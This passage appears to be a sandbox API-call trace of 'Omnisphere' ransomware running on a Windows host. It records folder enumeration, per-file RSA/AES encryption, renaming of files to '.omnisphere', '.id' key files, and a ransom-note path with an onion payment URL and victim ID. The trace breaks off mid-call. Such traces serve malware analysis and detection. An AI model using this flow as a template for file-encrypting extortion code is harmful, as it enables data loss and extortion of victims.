cFileName="yxoK.bmp.omnisphere", cAlternateFileName="YXOKBM~1.OMN")) returned 1 [0162.824] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda9a5b4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xda9a5b4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xda9a5b4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="yxoK.bmp.omnisphere.id", cAlternateFileName="YXOKBM~1.ID")) returned 1 [0162.824] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea86e260, ftCreationTime.dwHighDateTime=0x1d4c726, ftLastAccessTime.dwLowDateTime=0xf785c610, ftLastAccessTime.dwHighDateTime=0x1d4ce4d, ftLastWriteTime.dwLowDateTime=0xdae69e8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x13c79, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZazBvQZ_SvZ5b.flv.omnisphere", cAlternateFileName="ZAZBVQ~1.OMN")) returned 1 [0162.824] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdac0700, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xdac0700, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xdae69e8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZazBvQZ_SvZ5b.flv.omnisphere.id", cAlternateFileName="ZAZBVQ~1.ID")) returned 1 [0162.824] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e1e7e70, ftCreationTime.dwHighDateTime=0x1d4c917, ftLastAccessTime.dwLowDateTime=0x334db2f0, ftLastAccessTime.dwHighDateTime=0x1d4cef0, ftLastWriteTime.dwLowDateTime=0xdb0cbfb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x350e, dwReserved0=0x0, dwReserved1=0x0, cFileName="_kDdpHsuJIdzTzf4Y7D.jpg.omnisphere", cAlternateFileName="_KDDPH~1.OMN")) returned 1 [0162.824] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb0cbfb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xdb0cbfb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xdb0cbfb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="_kDdpHsuJIdzTzf4Y7D.jpg.omnisphere.id", cAlternateFileName="_KDDPH~1.ID")) returned 1 [0162.824] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb0cbfb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xdb0cbfb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xdb0cbfb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="_kDdpHsuJIdzTzf4Y7D.jpg.omnisphere.id", cAlternateFileName="_KDDPH~1.ID")) returned 0 [0162.824] FindClose (in: hFindFile=0x1639728 | out: hFindFile=0x1639728) returned 1 [0162.824] GetProcessHeap () returned 0x1600000 [0162.824] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163dad8 | out: hHeap=0x1600000) returned 1 [0162.824] GetProcessHeap () returned 0x1600000 [0162.824] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16351a0 | out: hHeap=0x1600000) returned 1 [0162.824] FindNextFileW (in: hFindFile=0x1639968, lpFindFileData=0x3e0ec44 | out: lpFindFileData=0x3e0ec44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe6a35fc5, ftLastAccessTime.dwHighDateTime=0x1d5826c, ftLastWriteTime.dwLowDateTime=0xe6a35fc5, ftLastWriteTime.dwHighDateTime=0x1d5826c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0162.825] FindClose (in: hFindFile=0x1639968 | out: hFindFile=0x1639968) returned 1 [0162.825] GetProcessHeap () returned 0x1600000 [0162.825] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x161be78 | out: hHeap=0x1600000) returned 1 [0162.825] GetProcessHeap () returned 0x1600000 [0162.825] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1626d48 | out: hHeap=0x1600000) returned 1 [0162.825] FindNextFileW (in: hFindFile=0x16395a8, lpFindFileData=0x3e0f140 | out: lpFindFileData=0x3e0f140*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0162.825] GetProcessHeap () returned 0x1600000 [0162.825] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x50) returned 0x1634d28 [0162.825] PathCombineW (in: pszDest=0x1634d28, pszDir="C:\\Users\\FD1HVy", pszFile="Application Data" | out: pszDest="C:\\Users\\FD1HVy\\Application Data") returned="C:\\Users\\FD1HVy\\Application Data" [0162.825] GetProcessHeap () returned 0x1600000 [0162.825] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x54) returned 0x163da18 [0162.825] PathCombineW (in: pszDest=0x163da18, pszDir="C:\\Users\\FD1HVy\\Application Data", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\Application Data\\*") returned="C:\\Users\\FD1HVy\\Application Data\\*" [0162.825] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Application Data\\*", lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x3e0f8c0, ftCreationTime.dwHighDateTime=0x1634d28, ftLastAccessTime.dwLowDateTime=0x74f83608, ftLastAccessTime.dwHighDateTime=0x1634d28, ftLastWriteTime.dwLowDateTime=0x7fffff09, ftLastWriteTime.dwHighDateTime=0x710d74be, nFileSizeHigh=0x3e0f16c, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0xf5, cFileName="ϠC:\\Users\\FD1HVy\\Application Data", cAlternateFileName="ϠꁇἎϠ폠瓹䴨ţĄ")) returned 0xffffffff [0162.826] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Application Data\\*", lpFindFileData=0x3e0ec44 | out: lpFindFileData=0x3e0ec44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe6a35fc5, ftLastAccessTime.dwHighDateTime=0x1d5826c, ftLastWriteTime.dwLowDateTime=0xe6a35fc5, ftLastWriteTime.dwHighDateTime=0x1d5826c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="䴨ţ䵨ţ")) returned 0xffffffff [0162.826] GetProcessHeap () returned 0x1600000 [0162.826] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163da18 | out: hHeap=0x1600000) returned 1 [0162.826] GetProcessHeap () returned 0x1600000 [0162.826] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1634d28 | out: hHeap=0x1600000) returned 1 [0162.826] FindNextFileW (in: hFindFile=0x16395a8, lpFindFileData=0x3e0f140 | out: lpFindFileData=0x3e0f140*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0162.826] GetProcessHeap () returned 0x1600000 [0162.826] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x40) returned 0x1626e20 [0162.826] PathCombineW (in: pszDest=0x1626e20, pszDir="C:\\Users\\FD1HVy", pszFile="Contacts" | out: pszDest="C:\\Users\\FD1HVy\\Contacts") returned="C:\\Users\\FD1HVy\\Contacts" [0162.826] GetProcessHeap () returned 0x1600000 [0162.827] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x44) returned 0x161ba68 [0162.827] PathCombineW (in: pszDest=0x161ba68, pszDir="C:\\Users\\FD1HVy\\Contacts", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\Contacts\\*") returned="C:\\Users\\FD1HVy\\Contacts\\*" [0162.827] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Contacts\\*", lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xf5, cFileName=".", cAlternateFileName="")) returned 0x1639968 [0162.827] FindNextFileW (in: hFindFile=0x1639968, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xf5, cFileName="..", cAlternateFileName="")) returned 1 [0162.827] FindNextFileW (in: hFindFile=0x1639968, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0xf5, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.827] GetProcessHeap () returned 0x1600000 [0162.827] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x58) returned 0x163d1d8 [0162.827] PathCombineW (in: pszDest=0x163d1d8, pszDir="C:\\Users\\FD1HVy\\Contacts", pszFile="desktop.ini" | out: pszDest="C:\\Users\\FD1HVy\\Contacts\\desktop.ini") returned="C:\\Users\\FD1HVy\\Contacts\\desktop.ini" [0162.827] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0162.827] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Contacts\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\contacts\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.827] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=412) returned 1 [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x11686fa [0162.828] GetTickCount () returned 0x116870a [0162.829] GetTickCount () returned 0x116870a [0162.829] GetTickCount () returned 0x116870a [0162.829] GetTickCount () returned 0x116870a [0162.829] GetTickCount () returned 0x116870a [0162.829] GetTickCount () returned 0x116870a [0162.829] GetTickCount () returned 0x116870a [0162.829] GetTickCount () returned 0x116870a [0162.829] GetTickCount () returned 0x116870a [0162.829] GetTickCount () returned 0x116870a [0162.829] GetTickCount () returned 0x116870a [0162.829] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668928) returned 1 [0162.830] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x16396a8) returned 1 [0162.830] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0162.830] CryptDestroyKey (hKey=0x16396a8) returned 1 [0162.830] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0162.830] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19c, lpName=0x0) returned 0x380 [0162.830] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x19c) returned 0x1480000 [0162.830] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668708) returned 1 [0162.831] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639b28) returned 1 [0162.831] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0162.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0162.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.832] CryptDestroyKey (hKey=0x1639b28) returned 1 [0162.832] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0162.832] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x19c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0162.833] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0162.834] GetProcessHeap () returned 0x1600000 [0162.834] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x268) returned 0x1751b60 [0162.834] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Contacts\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\contacts\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\Contacts\\desktop.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\contacts\\desktop.ini.omnisphere")) returned 1 [0162.835] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Contacts\\desktop.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Contacts\\desktop.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\Contacts\\desktop.ini.omnisphere.id" [0162.835] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Contacts\\desktop.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\contacts\\desktop.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0162.836] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0162.837] CloseHandle (hObject=0x3bc) returned 1 [0162.837] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0162.837] CloseHandle (hObject=0x380) returned 1 [0162.837] SetEndOfFile (hFile=0x39c) returned 1 [0162.837] FlushFileBuffers (hFile=0x39c) returned 1 [0162.846] CloseHandle (hObject=0x39c) returned 1 [0162.846] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Contacts\\desktop.ini" | out: pszPath="C:\\Users\\FD1HVy\\Contacts") returned 1 [0162.846] GetProcessHeap () returned 0x1600000 [0162.846] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164c4b8 [0162.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0162.846] GetProcessHeap () returned 0x1600000 [0162.846] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17337e8 [0162.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17337e8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.847] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.847] GetProcessHeap () returned 0x1600000 [0162.847] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f2e0 [0162.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f2e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.847] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.847] GetProcessHeap () returned 0x1600000 [0162.847] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x70) returned 0x16b27e8 [0162.847] PathCombineW (in: pszDest=0x16b27e8, pszDir="C:\\Users\\FD1HVy\\Contacts", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Contacts\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Contacts\\!DECRYPT_OMNISPHERE.txt" [0162.847] GetProcessHeap () returned 0x1600000 [0162.847] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x176d568 [0162.847] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Contacts\\!DECRYPT_OMNISPHERE.txt" (normalized: 